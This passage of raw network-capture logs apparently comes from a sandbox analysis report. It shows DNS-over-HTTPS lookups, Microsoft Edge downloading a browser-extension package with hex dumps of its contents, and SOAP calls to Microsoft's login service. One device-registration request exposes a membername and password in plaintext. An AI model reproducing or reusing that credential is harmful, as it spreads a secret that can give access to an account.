2024-11-22 22:06:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a25ac424276-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f6 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49801	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a25a8e942db-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0e 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49795	172.217.19.225	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:31 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:32 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4Xo5_SjgStmXZmUzjAeeP8QUbAteBHBzl6avEeNMgfbpVkNJ7Fknm4GZNSA_by5dHYTAw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Fri, 22 Nov 2024 16:45:00 GMT Expires: Sat, 22 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 19291 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-22 22:06:32 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-22 22:06:32 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49780	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:06:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:32 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: c4bda309-aa8a-431e-9a5d-332c669c69d1 PPServer: PPV: 30 H: BL02EPF0002782E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:31 GMT Connection: close Content-Length: 1276
2024-11-22 22:06:32 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49785	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:31 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-22 22:06:31 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 65 71 72 7a 78 71 63 70 63 78 76 64 70 75 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 4d 71 73 2c 33 61 2e 4f 3a 4c 4a 74 6e 75 4e 59 49 51 52 48 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02eqrzxqcpcxvdpu</Membername><Password>Mqs,3a.O:LJtnuNYIQRH</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-22 22:06:37 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Fri, 22 Nov 2024 22:05:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BL2 x-ms-request-id: f91d838a-58a8-454d-aa6f-8663f3413dc3 PPServer: PPV: 30 H: BL02EPF0001D9E6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:36 GMT Connection: close Content-Length: 17166
2024-11-22 22:06:37 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 34 37 30 46 38 37 35 35 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 31 36 33 32 63 63 34 61 2d 61 65 63 66 2d 34 38 36 65 2d 61 35 39 64 2d 31 36 30 64 66 65 62 65 63 36 34 63 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00188010470F8755</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="1632cc4a-aecf-486e-a59d-160dfebec64c" LicenseID="3252b20c-d425-4711
